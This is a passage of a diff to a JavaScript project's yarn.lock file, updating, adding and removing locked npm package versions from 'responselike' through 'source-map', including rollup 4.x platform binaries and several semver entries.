+  resolved "https://registry.yarnpkg.com/responselike/-/responselike-3.0.0.tgz#20decb6c298aff0dbee1c355ca95461d42823626"
+  integrity sha512-40yHxbNcl2+rzXvZuVkrYohathsSJlMTXKryG5y8uciHv1+xDLHQpgjG64JUO9nrEq2jGLH6IZ8BcZyw3wrweg==
   dependencies:
-    onetime "^5.1.0"
-    signal-exit "^3.0.2"
+    lowercase-keys "^3.0.0"
 
 ret@~0.1.10:
   version "0.1.15"
   resolved "https://registry.yarnpkg.com/ret/-/ret-0.1.15.tgz#b8a4825d5bdb1fc3f6f53c2bc33f81388681c7bc"
   integrity sha512-TTlYpa+OL+vMMNG24xSlQGEJ3B/RzEfUlLct7b5G/ytav+wPrplCpVMFuwzXbkecJrb6IYo1iFb0S9v37754mg==
 
-retry@0.12.0, retry@^0.12.0:
+retry@0.12.0:
   version "0.12.0"
   resolved "https://registry.yarnpkg.com/retry/-/retry-0.12.0.tgz#1b42a6266a21f07421d1b0b54b7dc167b01c013b"
   integrity sha1-G0KmJmoh8HQh0bC1S33BZ7AcATs=
@@ -14055,13 +15169,6 @@ reusify@^1.0.4:
   resolved "https://registry.yarnpkg.com/reusify/-/reusify-1.0.4.tgz#90da382b1e126efc02146e90845a88db12925d76"
   integrity sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==
 
-rimraf@2.6.3:
-  version "2.6.3"
-  resolved "https://registry.yarnpkg.com/rimraf/-/rimraf-2.6.3.tgz#b2d104fe0d8fb27cf9e0a1cda8262dd3833c6cab"
-  integrity sha512-mwqeW5XsA2qAejG46gYdENaxXjx9onRNCfn7L0duuP4hCuTIi/QO7PDK07KJfp1d+izWPrzEJDcSqBa0OZQriA==
-  dependencies:
-    glob "^7.1.3"
-
 rimraf@^2.2.8, rimraf@^2.5.4, rimraf@^2.6.3:
   version "2.7.1"
   resolved "https://registry.yarnpkg.com/rimraf/-/rimraf-2.7.1.tgz#35797f13a7fdadc566142c29d4f07ccad483e3ec"
@@ -14114,6 +15221,15 @@ roarr@^2.15.3:
     semver-compare "^1.0.0"
     sprintf-js "^1.1.2"
 
+rollup-plugin-dts@^6.1.1:
+  version "6.1.1"
+  resolved "https://registry.yarnpkg.com/rollup-plugin-dts/-/rollup-plugin-dts-6.1.1.tgz#46b33f4d1d7f4e66f1171ced9b282ac11a15a254"
+  integrity sha512-aSHRcJ6KG2IHIioYlvAOcEq6U99sVtqDDKVhnwt70rW6tsz3tv5OSjEiWcgzfsHdLyGXZ/3b/7b/+Za3Y6r1XA==
+  dependencies:
+    magic-string "^0.30.10"
+  optionalDependencies:
+    "@babel/code-frame" "^7.24.2"
+
 rollup-plugin-prettier@^4.1.1:
   version "4.1.1"
   resolved "https://registry.yarnpkg.com/rollup-plugin-prettier/-/rollup-plugin-prettier-4.1.1.tgz#eb74bd47c3cc3ba68bdf34b5323d0d7a47be8cec"
@@ -14143,11 +15259,39 @@ rollup-pluginutils@2.8.2:
   dependencies:
     estree-walker "^0.6.1"
 
-rollup@^3.17.1:
-  version "3.20.0"
-  resolved "https://registry.yarnpkg.com/rollup/-/rollup-3.20.0.tgz#ce7bd88449a776b9f75bf4e35959e25fbd3f51b1"
-  integrity sha512-YsIfrk80NqUDrxrjWPXUa7PWvAfegZEXHuPsEZg58fGCdjL1I9C1i/NaG+L+27kxxwkrG/QEDEQc8s/ynXWWGQ==
+rollup@^3.29.5:
+  version "3.29.5"
+  resolved "https://registry.yarnpkg.com/rollup/-/rollup-3.29.5.tgz#8a2e477a758b520fb78daf04bca4c522c1da8a54"
+  integrity sha512-GVsDdsbJzzy4S/v3dqWPJ7EfvZJfCHiDqe80IyrF59LYuP+e6U1LJoUqeuqRbwAWoMNoXivMNeNAOf5E22VA1w==
+  optionalDependencies:
+    fsevents "~2.3.2"
+
+rollup@^4.34.8:
+  version "4.35.0"
+  resolved "https://registry.yarnpkg.com/rollup/-/rollup-4.35.0.tgz#76c95dba17a579df4c00c3955aed32aa5d4dc66d"
+  integrity sha512-kg6oI4g+vc41vePJyO6dHt/yl0Rz3Thv0kJeVQ3D1kS3E5XSuKbPc29G4IpT/Kv1KQwgHVcN+HtyS+HYLNSvQg==
+  dependencies:
+    "@types/estree" "1.0.6"
   optionalDependencies:
+    "@rollup/rollup-android-arm-eabi" "4.35.0"
+    "@rollup/rollup-android-arm64" "4.35.0"
+    "@rollup/rollup-darwin-arm64" "4.35.0"
+    "@rollup/rollup-darwin-x64" "4.35.0"
+    "@rollup/rollup-freebsd-arm64" "4.35.0"
+    "@rollup/rollup-freebsd-x64" "4.35.0"
+    "@rollup/rollup-linux-arm-gnueabihf" "4.35.0"
+    "@rollup/rollup-linux-arm-musleabihf" "4.35.0"
+    "@rollup/rollup-linux-arm64-gnu" "4.35.0"
+    "@rollup/rollup-linux-arm64-musl" "4.35.0"
+    "@rollup/rollup-linux-loongarch64-gnu" "4.35.0"
+    "@rollup/rollup-linux-powerpc64le-gnu" "4.35.0"
+    "@rollup/rollup-linux-riscv64-gnu" "4.35.0"
+    "@rollup/rollup-linux-s390x-gnu" "4.35.0"
+    "@rollup/rollup-linux-x64-gnu" "4.35.0"
+    "@rollup/rollup-linux-x64-musl" "4.35.0"
+    "@rollup/rollup-win32-arm64-msvc" "4.35.0"
+    "@rollup/rollup-win32-ia32-msvc" "4.35.0"
+    "@rollup/rollup-win32-x64-msvc" "4.35.0"
     fsevents "~2.3.2"
 
 rrweb-cssom@^0.6.0:
@@ -14155,10 +15299,12 @@ rrweb-cssom@^0.6.0:
   resolved "https://registry.yarnpkg.com/rrweb-cssom/-/rrweb-cssom-0.6.0.tgz#ed298055b97cbddcdeb278f904857629dec5e0e1"
   integrity sha512-APM0Gt1KoXBz0iIkkdB/kfvGOwC4UuJFeG/c+yV7wSc7q96cG/kJ0HiYCnzivD9SB53cLV1MlHFNfOuPaadYSw==
 
-run-async@^2.2.0:
-  version "2.4.1"
-  resolved "https://registry.yarnpkg.com/run-async/-/run-async-2.4.1.tgz#8440eccf99ea3e70bd409d49aab88e10c189a455"
-  integrity sha512-tvVnVv01b8c1RrA6Ep7JkStj85Guv/YrMcwqYQnwjsAS2cTmmPGBBjAjpCW7RrSodNSoE2/qg9O4bceNvUuDgQ==
+run-applescript@^5.0.0:
+  version "5.0.0"
+  resolved "https://registry.yarnpkg.com/run-applescript/-/run-applescript-5.0.0.tgz#e11e1c932e055d5c6b40d98374e0268d9b11899c"
+  integrity sha512-XcT5rBksx1QdIhlFOCtgZkB99ZEouFZ1E2Kc2LHqNW13U3/74YGdkQRmThTwxy4QIyookibDKYZOPqX//6BlAg==
+  dependencies:
+    execa "^5.0.0"
 
 run-parallel@^1.1.9:
   version "1.1.9"
@@ -14172,13 +15318,6 @@ rxjs@^5.5.6:
   dependencies:
     symbol-observable "1.0.1"
 
-rxjs@^6.4.0:
-  version "6.5.4"
-  resolved "https://registry.yarnpkg.com/rxjs/-/rxjs-6.5.4.tgz#e0777fe0d184cec7872df147f303572d414e211c"
-  integrity sha512-naMQXcgEo3csAEGvw/NydRA0fuS2nDZJiw1YUWFKU7aPPAPGZEsD4Iimit96qwCieH6y614MCLYwdkrWx7z/7Q==
-  dependencies:
-    tslib "^1.9.0"
-
 safe-buffer@5.1.2, safe-buffer@~5.1.0, safe-buffer@~5.1.1:
   version "5.1.2"
   resolved "https://registry.yarnpkg.com/safe-buffer/-/safe-buffer-5.1.2.tgz#991ec69d296e0313747d59bdfd2b745c35f8828d"
@@ -14189,7 +15328,7 @@ safe-buffer@5.2.1:
   resolved "https://registry.yarnpkg.com/safe-buffer/-/safe-buffer-5.2.1.tgz#1eaf9fa9bdb1fdd4ec75f58f9cdb4e6b7827eec6"
   integrity sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==
 
-safe-buffer@>=5.1.0, safe-buffer@^5.0.1, safe-buffer@^5.1.0, safe-buffer@^5.1.1, safe-buffer@^5.1.2, safe-buffer@~5.2.0:
+safe-buffer@>=5.1.0, safe-buffer@^5.0.1, safe-buffer@^5.1.0, safe-buffer@^5.1.1, safe-buffer@~5.2.0:
   version "5.2.0"
   resolved "https://registry.yarnpkg.com/safe-buffer/-/safe-buffer-5.2.0.tgz#b74daec49b1148f88c64b68d49b1e815c1f2f519"
   integrity sha512-fZEwUGbVl7kouZs1jCdMLdt95hdIv0ZeHg6L7qPeciMZhZ+/gdesW4wgTARkrFWEpspjEATAzUGPG8N2jJiwbg==
@@ -14206,6 +15345,11 @@ safe-regex@^1.1.0:
   dependencies:
     ret "~0.1.10"
 
+safe-stable-stringify@^2.3.1:
+  version "2.4.3"
+  resolved "https://registry.yarnpkg.com/safe-stable-stringify/-/safe-stable-stringify-2.4.3.tgz#138c84b6f6edb3db5f8ef3ef7115b8f55ccbf886"
+  integrity sha512-e2bDA2WJT0wxseVd4lsDP4+3ONX6HpMXQa1ZhFQ7SU+GjvORCmShbCMltrtIDfkYhVHrOcPtj+KhmDBdPdZD1g==
+
 "safer-buffer@>= 2.1.2 < 3", "safer-buffer@>= 2.1.2 < 3.0.0", safer-buffer@~2.1.0:
   version "2.1.2"
   resolved "https://registry.yarnpkg.com/safer-buffer/-/safer-buffer-2.1.2.tgz#44fa161b0187b9549dd84bb91802f9bd8385cd6a"
@@ -14325,13 +15469,6 @@ semver-compare@^1.0.0:
   resolved "https://registry.yarnpkg.com/semver-compare/-/semver-compare-1.0.0.tgz#0dee216a1c941ab37e9efb1788f6afc5ff5537fc"
   integrity sha1-De4hahyUGrN+nvsXiPavxf9VN/w=
 
-semver-diff@^2.0.0:
-  version "2.1.0"
-  resolved "https://registry.yarnpkg.com/semver-diff/-/semver-diff-2.1.0.tgz#4bbb8437c8d37e4b0cf1a68fd726ec6d645d6d36"
-  integrity sha1-S7uEN8jTfksM8aaP1ybsbWRdbTY=
-  dependencies:
-    semver "^5.0.3"
-
 semver-diff@^3.1.1:
   version "3.1.1"
   resolved "https://registry.yarnpkg.com/semver-diff/-/semver-diff-3.1.1.tgz#05f77ce59f325e00e2706afd67bb506ddb1ca32b"
@@ -14339,6 +15476,13 @@ semver-diff@^3.1.1:
   dependencies:
     semver "^6.3.0"
 
+semver-diff@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/semver-diff/-/semver-diff-4.0.0.tgz#3afcf5ed6d62259f5c72d0d5d50dffbdc9680df5"
+  integrity sha512-0Ju4+6A8iOnpL/Thra7dZsSlOHYAHIeMxfhWQRI1/VLcT3WDBZKKtQt/QkBOsiIN9ZpuvHE6cGZ0x4glCMmfiA==
+  dependencies:
+    semver "^7.3.5"
+
 semver-regex@^2.0.0:
   version "2.0.0"
   resolved "https://registry.yarnpkg.com/semver-regex/-/semver-regex-2.0.0.tgz#a93c2c5844539a770233379107b38c7b4ac9d338"
@@ -14351,7 +15495,7 @@ semver-truncate@^1.1.2:
   dependencies:
     semver "^5.3.0"
 
-"semver@2 || 3 || 4 || 5", semver@^5.0.3, semver@^5.1.0, semver@^5.3.0, semver@^5.4.1, semver@^5.5.0, semver@^5.5.1, semver@^5.6.0, semver@^5.7.0:
+"semver@2 || 3 || 4 || 5", semver@^5.1.0, semver@^5.3.0, semver@^5.5.0, semver@^5.6.0, semver@^5.7.0:
   version "5.7.1"
   resolved "https://registry.yarnpkg.com/semver/-/semver-5.7.1.tgz#a954f931aeba508d307bbf069eff0c01c96116f7"
   integrity sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==
@@ -14361,10 +15505,10 @@ semver@7.0.0:
   resolved "https://registry.yarnpkg.com/semver/-/semver-7.0.0.tgz#5f3ca35761e47e05b206c6daff2cf814f0316b8e"
   integrity sha512-+GB6zVA9LWh6zovYQLALHwv5rb2PHGlJi3lfiqIHxR0uuwCgefcOJc59v9fv1w8GbStwxuuqqAjI9NMAOOgq1A==
 
-semver@7.3.2, semver@^7.3.2:
-  version "7.3.2"
-  resolved "https://registry.yarnpkg.com/semver/-/semver-7.3.2.tgz#604962b052b81ed0786aae84389ffba70ffd3938"
-  integrity sha512-OrOb32TeeambH6UrhtShmF7CRDqhL6/5XpPNp2DuRH6+9QLw/orhp72j87v8Qa1ScDkvrrBNpZcDejAirJmfXQ==
+semver@7.6.2:
+  version "7.6.2"
+  resolved "https://registry.yarnpkg.com/semver/-/semver-7.6.2.tgz#1e3b34759f896e8f14d6134732ce798aeb0c6e13"
+  integrity sha512-FNAIBWCx9qcRhoHcgcJ0gvU7SN1lYU2ZXuSfl04bSC5OpvDHFyJCjdNHomPXxjQlCBU67YW64PzY7/VIEH7F2w==
 
 semver@^6.0.0, semver@^6.3.0, semver@^6.3.1:
   version "6.3.1"
@@ -14388,6 +15532,16 @@ semver@^7.2.1, semver@^7.3.8:
   dependencies:
     lru-cache "^6.0.0"
 
+semver@^7.3.2:
+  version "7.3.2"
+  resolved "https://registry.yarnpkg.com/semver/-/semver-7.3.2.tgz#604962b052b81ed0786aae84389ffba70ffd3938"
+  integrity sha512-OrOb32TeeambH6UrhtShmF7CRDqhL6/5XpPNp2DuRH6+9QLw/orhp72j87v8Qa1ScDkvrrBNpZcDejAirJmfXQ==
+
+semver@^7.3.4, semver@^7.3.7:
+  version "7.6.3"
+  resolved "https://registry.yarnpkg.com/semver/-/semver-7.6.3.tgz#980f7b5550bc175fb4dc09403085627f9eb33143"
+  integrity sha512-oVekP1cKtI+CTDvHWYFUcMtsK/00wmAEfyqKfNdARm8u1wNVhSgaX7A8d4UuIlUI5e84iEwOhs7ZPYRmzU9U6A==
+
 semver@^7.3.5, semver@^7.5.3:
   version "7.6.1"
   resolved "https://registry.yarnpkg.com/semver/-/semver-7.6.1.tgz#60bfe090bf907a25aa8119a72b9f90ef7ca281b2"
@@ -14400,10 +15554,15 @@ semver@^7.5.4:
   dependencies:
     lru-cache "^6.0.0"
 
-send@0.18.0:
-  version "0.18.0"
-  resolved "https://registry.yarnpkg.com/send/-/send-0.18.0.tgz#670167cc654b05f5aa4a767f9113bb371bc706be"
-  integrity sha512-qqWzuOjSFOuqPjFe4NOsMLafToQQwBSOEpS+FwEt3A2V3vKubTquT3vmLTQpFgMXp8AlFWFuP1qKaJZOtPpVXg==
+semver@^7.6.3:
+  version "7.7.2"
+  resolved "https://registry.yarnpkg.com/semver/-/semver-7.7.2.tgz#67d99fdcd35cec21e6f8b87a7fd515a33f982b58"
+  integrity sha512-RF0Fw+rO5AMf9MAyaRXI4AV0Ulj5lMHqVxxdSgiVbixSCXoEmmX/jk0CuJw4+3SqroYO9VoUh+HcuJivvtJemA==
+
+send@0.19.0:
+  version "0.19.0"
+  resolved "https://registry.yarnpkg.com/send/-/send-0.19.0.tgz#bbc5a388c8ea6c048967049dbeac0e4a3f09d7f8"
+  integrity sha512-dW41u5VfLXu8SJh5bwRmyYUbAoSB3c9uQh6L8h/KtsFREPWpbX1lrljJo186Jc4nmci/sGUZ9a0a0J2zgfq2hw==
   dependencies:
     debug "2.6.9"
     depd "2.0.0"
@@ -14446,21 +15605,33 @@ serve-index@^1.9.1:
     mime-types "~2.1.17"
     parseurl "~1.3.2"
 
-serve-static@1.15.0:
-  version "1.15.0"
-  resolved "https://registry.yarnpkg.com/serve-static/-/serve-static-1.15.0.tgz#faaef08cffe0a1a62f60cad0c4e513cff0ac9540"
-  integrity sha512-XGuRDNjXUijsUL0vl6nSD7cwURuzEgglbOaFuZM9g3kwDXOWVTck0jLzjPzGD+TazWbboZYu52/9/XPdUgne9g==
+serve-static@1.16.2:
+  version "1.16.2"
+  resolved "https://registry.yarnpkg.com/serve-static/-/serve-static-1.16.2.tgz#b6a5343da47f6bdd2673848bf45754941e803296"
+  integrity sha512-VqpjJZKadQB/PEbEwvFdO43Ax5dFBZ2UECszz8bQ7pi7wt//PWe1P6MN7eCnjsatYtBT6EuiClbjSWP2WrIoTw==
   dependencies:
-    encodeurl "~1.0.2"
+    encodeurl "~2.0.0"
     escape-html "~1.0.3"
     parseurl "~1.3.3"
-    send "0.18.0"
+    send "0.19.0"
 
 set-blocking@^2.0.0:
   version "2.0.0"
   resolved "https://registry.yarnpkg.com/set-blocking/-/set-blocking-2.0.0.tgz#045f9782d011ae9a6803ddd382b24392b3d890f7"
   integrity sha1-BF+XgtARrppoA93TgrJDkrPYkPc=
 
+set-function-length@^1.2.1:
+  version "1.2.2"
+  resolved "https://registry.yarnpkg.com/set-function-length/-/set-function-length-1.2.2.tgz#aac72314198eaed975cf77b2c3b6b880695e5449"
+  integrity sha512-pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg==
+  dependencies:
+    define-data-property "^1.1.4"
+    es-errors "^1.3.0"
+    function-bind "^1.1.2"
+    get-intrinsic "^1.2.4"
+    gopd "^1.0.1"
+    has-property-descriptors "^1.0.2"
+
 set-value@^2.0.0, set-value@^2.0.1:
   version "2.0.1"
   resolved "https://registry.yarnpkg.com/set-value/-/set-value-2.0.1.tgz#a18d40530e6f07de4228c7defe4227af8cad005b"
@@ -14491,7 +15662,7 @@ sha.js@2.2.6:
   resolved "https://registry.yarnpkg.com/sha.js/-/sha.js-2.2.6.tgz#17ddeddc5f722fb66501658895461977867315ba"
   integrity sha1-F93t3F9yL7ZlAWWIlUYZd4ZzFbo=
 
-sha.js@~2.4.4:
+sha.js@2.4.11:
   version "2.4.11"
   resolved "https://registry.yarnpkg.com/sha.js/-/sha.js-2.4.11.tgz#37a5cf0b81ecbc6943de109ba2960d1b26584ae7"
   integrity sha512-QMEp5B7cftE7APOjk5Y6xgrbWu+WkLVQwk8JNjZ8nKRciZaByEW6MubieAiToS7+dwvrjGhH8jRXz3MVd0AYqQ==
@@ -14535,15 +15706,10 @@ shebang-regex@^3.0.0:
   resolved "https://registry.yarnpkg.com/shebang-regex/-/shebang-regex-3.0.0.tgz#ae16f1644d873ecad843b0307b143362d4c42172"
   integrity sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==
 
-shell-quote@1.6.1:
-  version "1.6.1"
-  resolved "https://registry.yarnpkg.com/shell-quote/-/shell-quote-1.6.1.tgz#f4781949cce402697127430ea3b3c5476f481767"
-  integrity sha1-9HgZSczkAmlxJ0MOo7PFR29IF2c=
-  dependencies:
-    array-filter "~0.0.0"
-    array-map "~0.0.0"
-    array-reduce "~0.0.0"
-    jsonify "~0.0.0"
+shell-quote@1.7.3:
+  version "1.7.3"
+  resolved "https://registry.yarnpkg.com/shell-quote/-/shell-quote-1.7.3.tgz#aa40edac170445b9a431e17bb62c0b881b9c4123"
+  integrity sha512-Vpfqwm4EnqGdlsBFNmHhxhElJYrdfcxPThu+ryKS5J8L/fhAwLazFZtq+S+TWZ9ANj2piSQLGj6NQg+lKPmxrw==
 
 shell-quote@^1.6.1:
   version "1.7.1"
@@ -14555,16 +15721,7 @@ shell-quote@^1.7.3:
   resolved "https://registry.yarnpkg.com/shell-quote/-/shell-quote-1.8.1.tgz#6dbf4db75515ad5bac63b4f1894c3a154c766680"
   integrity sha512-6j1W9l1iAs/4xYBI1SYOVZyFcCis9b4KCLQ8fgAGG07QvzaRLVVRQvAy85yNmmZSjYjg4MWh4gNvlPujU/5LpA==
 
-shelljs@0.7.7:
-  version "0.7.7"
-  resolved "https://registry.yarnpkg.com/shelljs/-/shelljs-0.7.7.tgz#b2f5c77ef97148f4b4f6e22682e10bba8667cff1"
-  integrity sha1-svXHfvlxSPS09uImguELuoZnz/E=
-  dependencies:
-    glob "^7.0.0"
-    interpret "^1.0.0"
-    rechoir "^0.6.2"
-
-shelljs@^0.8.5:
+shelljs@^0.8.4, shelljs@^0.8.5:
   version "0.8.5"
   resolved "https://registry.yarnpkg.com/shelljs/-/shelljs-0.8.5.tgz#de055408d8361bed66c669d2f000538ced8ee20c"
   integrity sha512-TiwcRcrkhHvbrZbnRcFYMLl30Dfov3HKqzp5tO5b4pt6G/SezKcYhmDg15zXVBswHmctSAQKznqNW2LO5tTDow==
@@ -14578,30 +15735,15 @@ shellwords@^0.1.1:
   resolved "https://registry.yarnpkg.com/shellwords/-/shellwords-0.1.1.tgz#d6b9181c1a48d397324c84871efbcfc73fc0654b"
   integrity sha512-vFwSUfQvqybiICwZY5+DAWIPLKsWO31Q91JSKl3UYv+K5c2QRPzn0qzec6QPu1Qc9eHYItiP3NdJqNVqetYAww==
 
-side-channel@^1.0.4:
-  version "1.0.4"
-  resolved "https://registry.yarnpkg.com/side-channel/-/side-channel-1.0.4.tgz#efce5c8fdc104ee751b25c58d4290011fa5ea2cf"
-  integrity sha512-q5XPytqFEIKHkGdiMIrY10mvLRvnQh42/+GoBlFW3b2LXLE2xxJpZFdm94we0BaoV3RwJyGqg5wS7epxTv0Zvw==
-  dependencies:
-    call-bind "^1.0.0"
-    get-intrinsic "^1.0.2"
-    object-inspect "^1.9.0"
-
-sign-addon@2.0.5:
-  version "2.0.5"
-  resolved "https://registry.yarnpkg.com/sign-addon/-/sign-addon-2.0.5.tgz#bfb1033bd77436c2f7c49168c6ea794f65c01b44"
-  integrity sha512-dVjIWe1VJ2VQCdScREWXWECmJhgjpJMqwPKkW+L78PPx2Jyr/t+//kNHqG1hYrmIsvQN7vGjAjv9s7ix0vw0zA==
+side-channel@^1.0.6:
+  version "1.0.6"
+  resolved "https://registry.yarnpkg.com/side-channel/-/side-channel-1.0.6.tgz#abd25fb7cd24baf45466406b1096b7831c9215f2"
+  integrity sha512-fDW/EZ6Q9RiO8eFG8Hj+7u/oW+XrPTIChwCOM2+th2A6OblDtYYIpve9m+KvI9Z4C9qSEXlaGR6bTEYHReuglA==
   dependencies:
-    common-tags "1.8.0"
-    core-js "3.6.4"
-    deepcopy "2.0.0"
-    es6-error "4.1.1"
-    es6-promisify "6.0.2"
-    jsonwebtoken "8.5.1"
-    mz "2.7.0"
-    request "2.88.0"
-    source-map-support "0.5.16"
-    stream-to-promise "2.2.0"
+    call-bind "^1.0.7"
+    es-errors "^1.3.0"
+    get-intrinsic "^1.2.4"
+    object-inspect "^1.13.1"
 
 signal-exit@^3.0.0, signal-exit@^3.0.2:
   version "3.0.3"
@@ -14623,6 +15765,15 @@ signedsource@^2.0.0:
   resolved "https://registry.yarnpkg.com/signedsource/-/signedsource-2.0.0.tgz#f72dc0f98f5bca2763b464a555511a84a4da8eee"
   integrity sha512-MscTxXbMij5JVgrW1xDiMIc+vFa0+H0+HP+rRrFjwa7ef2VAxIP/4L/E75I5H4xvyb4l1X+a9ch+6Zy5uFu7Fg==
 
+simple-git@^3.10.0:
+  version "3.28.0"
+  resolved "https://registry.yarnpkg.com/simple-git/-/simple-git-3.28.0.tgz#c6345b2e387880f8450788a1e388573366ae48ac"
+  integrity sha512-Rs/vQRwsn1ILH1oBUy8NucJlXmnnLeLCfcvbSehkPzbv3wwoFWIdtfd6Ndo6ZPhlPsCZ60CPI4rxurnwAa+a2w==
+  dependencies:
+    "@kwsites/file-exists" "^1.1.1"
+    "@kwsites/promise-deferred" "^1.1.1"
+    debug "^4.4.0"
+
 sisteransi@^1.0.5:
   version "1.0.5"
   resolved "https://registry.yarnpkg.com/sisteransi/-/sisteransi-1.0.5.tgz#134d681297756437cc05ca01370d3a7a571075ed"
@@ -14638,15 +15789,6 @@ slash@^3.0.0:
   resolved "https://registry.yarnpkg.com/slash/-/slash-3.0.0.tgz#6539be870c165adbd5240220dbe361f1bc4d4634"
   integrity sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==
 
-slice-ansi@^2.1.0:
-  version "2.1.0"
-  resolved "https://registry.yarnpkg.com/slice-ansi/-/slice-ansi-2.1.0.tgz#cacd7693461a637a5788d92a7dd4fba068e81636"
-  integrity sha512-Qu+VC3EwYLldKa1fCxuuvULvSJOKEgk9pi8dZeCVK7TqBfUNTH4sFkk4joj8afVSfAYgJoSOetjx9QWOJ5mYoQ==
-  dependencies:
-    ansi-styles "^3.2.0"
-    astral-regex "^1.0.0"
-    is-fullwidth-code-point "^2.0.0"
-
 slice-ansi@^4.0.0:
   version "4.0.0"
   resolved "https://registry.yarnpkg.com/slice-ansi/-/slice-ansi-4.0.0.tgz#500e8dd0fd55b05815086255b3195adf2a45fe6b"
@@ -14656,11 +15798,6 @@ slice-ansi@^4.0.0:
     astral-regex "^2.0.0"
     is-fullwidth-code-point "^3.0.0"
 
-smart-buffer@^4.1.0:
-  version "4.2.0"
-  resolved "https://registry.yarnpkg.com/smart-buffer/-/smart-buffer-4.2.0.tgz#6e1d71fa4f18c05f7d0ff216dd16a481d0e8d9ae"
-  integrity sha512-94hK0Hh8rPqQl2xXc3HsaBoOXKV20MToPkcXvwbISWLEs+64sBq5kFgn2kJDHb1Pry9yrP0dxrCI9RRci7RXKg==
-
 snapdragon-node@^2.0.1:
   version "2.1.1"
   resolved "https://registry.yarnpkg.com/snapdragon-node/-/snapdragon-node-2.1.1.tgz#6c175f86ff14bdb0724563e8f3c1b021a286853b"
@@ -14700,30 +15837,12 @@ sockjs@^0.3.24:
     uuid "^8.3.2"
     websocket-driver "^0.7.4"
 
-socks-proxy-agent@^6.1.0:
-  version "6.1.0"
-  resolved "https://registry.yarnpkg.com/socks-proxy-agent/-/socks-proxy-agent-6.1.0.tgz#869cf2d7bd10fea96c7ad3111e81726855e285c3"
-  integrity sha512-57e7lwCN4Tzt3mXz25VxOErJKXlPfXmkMLnk310v/jwW20jWRVcgsOit+xNkN3eIEdB47GwnfAEBLacZ/wVIKg==
-  dependencies:
-    agent-base "^6.0.2"
-    debug "^4.3.1"
-    socks "^2.6.1"
-
-socks@^2.6.1:
-  version "2.6.1"
-  resolved "https://registry.yarnpkg.com/socks/-/socks-2.6.1.tgz#989e6534a07cf337deb1b1c94aaa44296520d30e"
-  integrity sha512-kLQ9N5ucj8uIcxrDwjm0Jsqk06xdpBjGNQtpXy4Q8/QY2k+fY7nZH8CARy+hkbG+SGAovmzzuauCpBlb8FrnBA==
-  dependencies:
-    ip "^1.1.5"
-    smart-buffer "^4.1.0"
-
-sonic-boom@^1.0.0:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/sonic-boom/-/sonic-boom-1.0.1.tgz#a5fdfcab1ddea31732ce9c7c054f3a5751eee089"
-  integrity sha512-o9tx+bonVEXSaPtptyXQXpP8l6UV9Bi3im2geZskvWw2a/o/hrbWI7EBbbv+rOx6Hubnzun9GgH4WfbgEA3MFQ==
+sonic-boom@^3.7.0:
+  version "3.8.1"
+  resolved "https://registry.yarnpkg.com/sonic-boom/-/sonic-boom-3.8.1.tgz#d5ba8c4e26d6176c9a1d14d549d9ff579a163422"
+  integrity sha512-y4Z8LCDBuum+PBP3lSV7RHrXscqksve/bi0as7mhwVnBW+/wUqKT/2Kb7um8yqcFy0duYbbPxzt89Zy2nOCaxg==
   dependencies:
     atomic-sleep "^1.0.0"
-    flatstr "^1.0.12"
 
 sort-keys-length@^1.0.0:
   version "1.0.1"
@@ -14780,30 +15899,7 @@ source-map-support@0.5.13:
     buffer-from "^1.0.0"
     source-map "^0.6.0"
 
-source-map-support@0.5.16:
-  version "0.5.16"
-  resolved "https://registry.yarnpkg.com/source-map-support/-/source-map-support-0.5.16.tgz#0ae069e7fe3ba7538c64c98515e35339eac5a042"
-  integrity sha512-efyLRJDr68D9hBBNIPWFjhpFzURh+KJykQwvMyW5UiZzYwoF6l4YMMDIJJEyFWxWCqfyxLzz6tSfUFR+kXXsVQ==
-  dependencies:
-    buffer-from "^1.0.0"
-    source-map "^0.6.0"
-
-source-map-support@0.5.19:
-  version "0.5.19"
-  resolved "https://registry.yarnpkg.com/source-map-support/-/source-map-support-0.5.19.tgz#a98b62f86dcaf4f67399648c085291ab9e8fed61"
-  integrity sha512-Wonm7zOCIJzBGQdB+thsPar0kYuCIzYvxZwlBa87yi/Mdjv7Tip2cyVbLj5o0cFPN4EVkuTwb3GDDyUx2DGnGw==
-  dependencies:
-    buffer-from "^1.0.0"
-    source-map "^0.6.0"
-
-source-map-support@^0.4.18:
-  version "0.4.18"
-  resolved "https://registry.yarnpkg.com/source-map-support/-/source-map-support-0.4.18.tgz#0286a6de8be42641338594e97ccea75f0a2c585f"
-  integrity sha512-try0/JqxPLF9nOjvSta7tVondkP5dwgyLDjVoyMDlmjugT2lRZ1OfsrYTkCd2hkDnJTKRbO/Rl3orm8vlsUzbA==
-  dependencies:
-    source-map "^0.5.6"
-
-source-map-support@^0.5.16, source-map-support@^0.5.17, source-map-support@~0.5.20, source-map-support@~0.5.4:
+source-map-support@0.5.21, source-map-support@^0.5.16, source-map-support@^0.5.17, source-map-support@~0.5.20:
   version "0.5.21"
   resolved "https://registry.yarnpkg.com/source-map-support/-/source-map-support-0.5.21.tgz#04fe7c7f9e1ed2d662233c28cb2b35b9f63f6e4f"
   integrity sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w==
@@ -14816,6 +15912,13 @@ source-map-url@^0.4.0:
   resolved "https://registry.yarnpkg.com/source-map-url/-/source-map-url-0.4.0.tgz#3e935d7ddd73631b97659956d55128e87b5084a3"
   integrity sha1-PpNdfd1zYxuXZZlW1VEo6HtQhKM=
 
+source-map@0.8.0-beta.0:
+  version "0.8.0-beta.0"
